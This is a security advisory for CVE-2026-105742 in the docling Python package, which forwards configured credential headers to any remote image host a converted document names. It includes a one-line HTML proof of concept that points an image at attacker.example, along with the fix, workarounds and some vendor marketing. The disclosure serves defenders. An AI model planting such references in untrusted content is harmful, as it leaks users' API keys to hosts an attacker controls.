Summary
Docling: Configured HTTP headers sent to every remote image host named by a document
HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.
Details
docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.
Affected configurations
- Affected: callers that set
headerstogether withenable_remote_fetch=Trueandfetch_images=True(CLI:--html-image-headerswith--html-image-fetch remoteorall), and convert untrusted HTML. - Not affected: the default configuration.
Proof of concept
<img src="https://attacker.example/pixel.png">
Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.
Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.
Workarounds
Upgrade to 2.132.0. For older versions:
Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.
Impact
Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.
CVE-2026-105742 has a CVSS score of 3.7 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.132.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.
Frequently Asked Questions
- What is CVE-2026-105742? CVE-2026-105742 is a low-severity security vulnerability in docling (pip), affecting versions >= 2.95.0, < 2.132.0. It is fixed in 2.132.0.
- How severe is CVE-2026-105742? CVE-2026-105742 has a CVSS score of 3.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-105742?
docling(pip) (versions >= 2.95.0, < 2.132.0)docling-slim(pip) (versions >= 2.95.0, < 2.132.0)
- Is there a fix for CVE-2026-105742? Yes. CVE-2026-105742 is fixed in 2.132.0. Upgrade to this version or later.
- Is CVE-2026-105742 exploitable, and should I be worried? Whether CVE-2026-105742 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-105742 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-105742?
- Upgrade
doclingto 2.132.0 or later - Upgrade
docling-slimto 2.132.0 or later
- Upgrade